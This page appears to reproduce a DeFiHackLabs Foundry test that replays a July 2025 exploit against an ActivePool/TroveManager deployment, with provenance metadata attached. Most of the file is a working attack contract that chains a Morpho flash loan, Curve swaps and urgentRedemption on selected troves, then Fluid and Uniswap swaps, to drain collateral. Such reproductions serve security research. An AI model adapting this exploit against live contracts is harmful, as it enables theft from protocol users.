Public reproduction file
src/test/2025-07/ActivePoolScrvUsdUrgentRedemption_exp.sol
Public reproduction file for dataset entry ActivePoolScrvUsd.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 4,204.55 USD8// Attacker : 0x4cf8ed875e508c3acd60e56a1ca21395d106bc949// Attack Contract : 0x5f3697bb418a55e941d14f4def8d18be73d6630910// Vulnerable Contract : 0xd7954a8c7fa74c97ad2545719ce82eae915d73f711// Attack Tx : https://etherscan.io/tx/0x0cf19b3f83f574c1911eb42457f22578359483dfef197f8906678bc0a76a740b12//13// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0xd7954a8c7fa74c97ad2545719ce82eae915d73f7#code15//16// @Analysis17// Telegram Alert : https://t.me/defimon_alerts/141518//19// Attack summary: the attacker flash-borrowed USDT, converted it into USDaf, and used20// TroveManager.urgentRedemption to redeem selected undercollateralized troves for scrvUSD21// collateral. The returned collateral was routed through Curve, Fluid, and Uniswap to repay22// the flash loan and keep the WETH/ETH surplus.23// Root cause: once the branch was shut down, public urgentRedemption let any USDaf holder24// choose profitable troves and redeem their debt for ActivePool collateral with a bonus.26address constant ATTACKER = 0x4cF8ED875E508c3Acd60E56A1ca21395D106bc94;27address constant HISTORICAL_ATTACK_CONTRACT = 0x5F3697Bb418a55E941d14f4Def8d18Be73D66309;28address constant MORPHO = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;29address constant USDT_TOKEN = 0xdAC17F958D2ee523a2206206994597C13D831ec7;30address constant CURVE_USDT_USDAF_LP = 0x4f493B7dE8aAC7d55F71853688b1F7C8F0243C85;31address constant CURVE_USDAF_POOL = 0x95591348FE9718bE8bfa3afcC9b017D9Ec18A7fa;32address constant TROVE_MANAGER = 0xa0290af48d2E43162A1a05Ab9d01a4ca3a8B60CB;33address constant ACTIVE_POOL = 0xD7954A8c7FA74c97aD2545719cE82EAE915d73f7;34address constant USDAF = 0x85E30b8b263bC64d94b827ed450F2EdFEE8579dA;35address constant SCRVUSD = 0x0655977FEb2f289A4aB78af67BAB0d17aAb84367;36address constant CURVE_SCRVUSD_SUSDE_POOL = 0xd29f8980852c2c76fC3f6E96a7Aa06E0BedCC1B1;37address constant SUSDE = 0x9D39A5DE30e57443BfF2A8307A4256c8797A3497;38address constant FLUID_DEX = 0x1DD125C32e4B5086c63CC13B3cA02C4A2a61Fa9b;39address constant UNISWAP_V3_ROUTER = 0xE592427A0AEce92De3Edee1F18E0157C05861564;40address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;42uint256 constant FLASH_USDT_AMOUNT = 225_000_000_000;43uint256 constant HISTORICAL_ETH_PROFIT = 1_669_775_970_301_739_864;44uint256 constant HISTORICAL_SWAP_DEADLINE = 1_751_758_035;46interface IMorphoFlashLoan1415 {47 function flashLoan(address token, uint256 assets, bytes calldata data) external;48}50interface IUSDT1415 {51 function approve(address spender, uint256 amount) external;52}54interface ICurvePool1415 {55 function add_liquidity(uint256[] calldata amounts, uint256 minMintAmount) external returns (uint256);56 function exchange(int128 i, int128 j, uint256 dx, uint256 minDy, address receiver) external returns (uint256);57}59interface ITroveManager1415 {60 function urgentRedemption(uint256 boldAmount, uint256[] calldata troveIds, uint256 minCollateral) external;61}63interface IFluidDex1415 {64 function swapIn(bool swap0to1, uint256 amountIn, uint256 amountOutMin, address to)65 external66 payable67 returns (uint256 amountOut);68}70interface IUniswapV3Router1415 {71 struct ExactInputSingleParams {72 address tokenIn;73 address tokenOut;74 uint24 fee;75 address recipient;76 uint256 deadline;77 uint256 amountIn;78 uint256 amountOutMinimum;79 uint160 sqrtPriceLimitX96;80 }82 function exactInputSingle(83 ExactInputSingleParams calldata params84 ) external payable returns (uint256 amountOut);85}87interface IWETH1415 {88 function withdraw(89 uint256 amount90 ) external;91}93contract ContractTest is BaseTestWithBalanceLog {94 function setUp() public {95 vm.createSelectFork("mainnet", 22_856_272);96 vm.roll(22_856_273);97 vm.warp(1_751_757_935);99 fundingToken = address(0);100 attacker = ATTACKER;102 vm.label(ATTACKER, "Attacker");103 vm.label(HISTORICAL_ATTACK_CONTRACT, "Historical attack contract");104 vm.label(MORPHO, "Morpho flash lender");105 vm.label(USDT_TOKEN, "USDT");106 vm.label(CURVE_USDT_USDAF_LP, "Curve Strategic USD Reserves LP");107 vm.label(CURVE_USDAF_POOL, "Curve USDaf pool");108 vm.label(TROVE_MANAGER, "TroveManager");109 vm.label(ACTIVE_POOL, "ActivePool");110 vm.label(USDAF, "USDaf");111 vm.label(SCRVUSD, "scrvUSD");112 vm.label(CURVE_SCRVUSD_SUSDE_POOL, "Curve scrvUSD/sUSDe pool");113 vm.label(SUSDE, "sUSDe");114 vm.label(FLUID_DEX, "Fluid DEX");115 vm.label(UNISWAP_V3_ROUTER, "Uniswap V3 router");116 vm.label(WETH_TOKEN, "WETH");117 }119 function testExploit() public balanceLog {120 uint256 attackerEthBefore = ATTACKER.balance;122 ActivePoolScrvUsdUrgentRedemptionAttack template =123 new ActivePoolScrvUsdUrgentRedemptionAttack(ATTACKER);124 vm.etch(HISTORICAL_ATTACK_CONTRACT, address(template).code);125 vm.deal(HISTORICAL_ATTACK_CONTRACT, 0);127 vm.prank(ATTACKER);128 ActivePoolScrvUsdUrgentRedemptionAttack(payable(HISTORICAL_ATTACK_CONTRACT)).execute();130 assertEq(ATTACKER.balance - attackerEthBefore, HISTORICAL_ETH_PROFIT);131 }132}134contract ActivePoolScrvUsdUrgentRedemptionAttack {135 address private immutable profitReceiver;137 constructor(138 address receiver139 ) {140 profitReceiver = receiver;141 }143 receive() external payable {}145 function execute() external {146 bytes memory data = abi.encode(UNISWAP_V3_ROUTER, WETH_TOKEN, USDAF);147 IMorphoFlashLoan1415(MORPHO).flashLoan(USDT_TOKEN, FLASH_USDT_AMOUNT, data);149 (bool ok,) = payable(profitReceiver).call{value: address(this).balance}("");150 require(ok, "profit transfer failed");151 }153 function onMorphoFlashLoan(uint256 amount, bytes calldata) external {154 require(msg.sender == MORPHO, "only Morpho");155 require(amount == FLASH_USDT_AMOUNT, "amount");157 IUSDT1415(USDT_TOKEN).approve(CURVE_USDT_USDAF_LP, amount);158 uint256[] memory amounts = new uint256[](2);159 amounts[0] = 0;160 amounts[1] = amount;161 uint256 curveLp = ICurvePool1415(CURVE_USDT_USDAF_LP).add_liquidity(amounts, 0);163 IERC20(CURVE_USDT_USDAF_LP).approve(CURVE_USDAF_POOL, curveLp);164 uint256 usdafAmount = ICurvePool1415(CURVE_USDAF_POOL).exchange(1, 0, curveLp, 0, address(this));166 IERC20(USDAF).approve(TROVE_MANAGER, usdafAmount);167 uint256[] memory troveIds = new uint256[](2);168 troveIds[0] = 0xeab7e86e94580e41de568bacb5a45656789f530905fd9cbee859eecefef614ae;169 troveIds[1] = 0xc951b81db2da0f1173c6978cda19ec40bef298d33f3888d2d8845ded3d44e560;170 ITroveManager1415(TROVE_MANAGER).urgentRedemption(usdafAmount, troveIds, 0);172 uint256 scrvUsdBalance = IERC20(SCRVUSD).balanceOf(address(this));173 IERC20(SCRVUSD).approve(CURVE_SCRVUSD_SUSDE_POOL, scrvUsdBalance);174 uint256 susdeAmount = ICurvePool1415(CURVE_SCRVUSD_SUSDE_POOL).exchange(0, 1, scrvUsdBalance, 0, address(this));176 IERC20(SUSDE).approve(FLUID_DEX, susdeAmount);177 IFluidDex1415(FLUID_DEX).swapIn(true, susdeAmount, 1, address(this));179 uint256 usdtSurplus = IERC20(USDT_TOKEN).balanceOf(address(this)) - FLASH_USDT_AMOUNT;180 IUSDT1415(USDT_TOKEN).approve(UNISWAP_V3_ROUTER, usdtSurplus);181 IUniswapV3Router1415(UNISWAP_V3_ROUTER).exactInputSingle(182 IUniswapV3Router1415.ExactInputSingleParams({183 tokenIn: USDT_TOKEN,184 tokenOut: WETH_TOKEN,185 fee: 3000,186 recipient: address(this),187 deadline: HISTORICAL_SWAP_DEADLINE,188 amountIn: usdtSurplus,189 amountOutMinimum: 0,190 sqrtPriceLimitX96: 0191 })192 );194 uint256 wethBalance = IERC20(WETH_TOKEN).balanceOf(address(this));195 IWETH1415(WETH_TOKEN).withdraw(wethBalance);197 IUSDT1415(USDT_TOKEN).approve(MORPHO, FLASH_USDT_AMOUNT);198 }199}Analysis
Dataset entry
Public Foundry test for “ActivePoolScrvUsd” (2025-07-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-07/ActivePoolUrgentRedemption_exp.solSame month in the dataset · 194 lines
- src/test/2025-07/AnyswapWETHPermit_exp.solSame month in the dataset · 127 lines
- src/test/2025-07/AvaxBIFKNPair_exp.solSame month in the dataset · 213 lines
- src/test/2025-07/BoJLeverageMarket_exp.solSame month in the dataset · 193 lines
- src/test/2025-07/EmptySetReserve_exp.solSame month in the dataset · 196 lines
- src/test/2025-07/FPC_exp.solSame month in the dataset · 83 lines
- src/test/2025-07/gmx_exp.solSame month in the dataset · 427 lines
- src/test/2025-07/MulticallWithETH_exp.solSame month in the dataset · 52 lines
- src/test/2025-07/RANTToken_exp.solSame month in the dataset · 108 lines
- src/test/2025-07/Stepp2p_exp.solSame month in the dataset · 59 lines
- src/test/2025-07/StrategyLlamaLendConvex_exp.solSame month in the dataset · 104 lines
- src/test/2025-07/SuperRare_exp.solSame month in the dataset · 80 lines
- src/test/2025-07/SWAPPStaking_exp.solSame month in the dataset · 197 lines
- src/test/2025-07/unverified_8fd3_exp.solSame month in the dataset · 105 lines
- src/test/2025-07/unverified_54cd_exp.solSame month in the dataset · 77 lines
- src/test/2025-07/Unverified670471_exp.solSame month in the dataset · 160 lines
- src/test/2025-07/Unverified6883_exp.solSame month in the dataset · 224 lines
- src/test/2025-07/UPENGBurnSync_exp.solSame month in the dataset · 115 lines
- src/test/2025-07/VDS_exp.solSame month in the dataset · 82 lines
- src/test/2025-07/WETC_Token_exp.solSame month in the dataset · 78 lines
- src/test/2025-07/WhereIsMyDragonTreasure_exp.solSame month in the dataset · 137 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x4cf8ed875e508c3acd60e56a1ca21395d106bc94
- Attack Contract
0x5f3697bb418a55e941d14f4def8d18be73d66309
- Vulnerable Contract
0xd7954a8c7fa74c97ad2545719ce82eae915d73f7
- Attack Tx
0x0cf19b3f83f574c1911eb42457f22578359483dfef197f8906678bc0a76a740b
File record
- Name
- ActivePoolScrvUsd
- Path
- src/test/2025-07/ActivePoolScrvUsdUrgentRedemption_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- b05cace6f8f6fa4fb414c5b74a7dc6630a0a9c5e
- Language
- Solidity
- Size
- 200 lines
- Date
- 2025-07-05
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-07/ActivePoolScrvUsdUrgentRedemption_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b05cace6f8f6fa4fb414c5b74a7dc6630a0a9c5e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.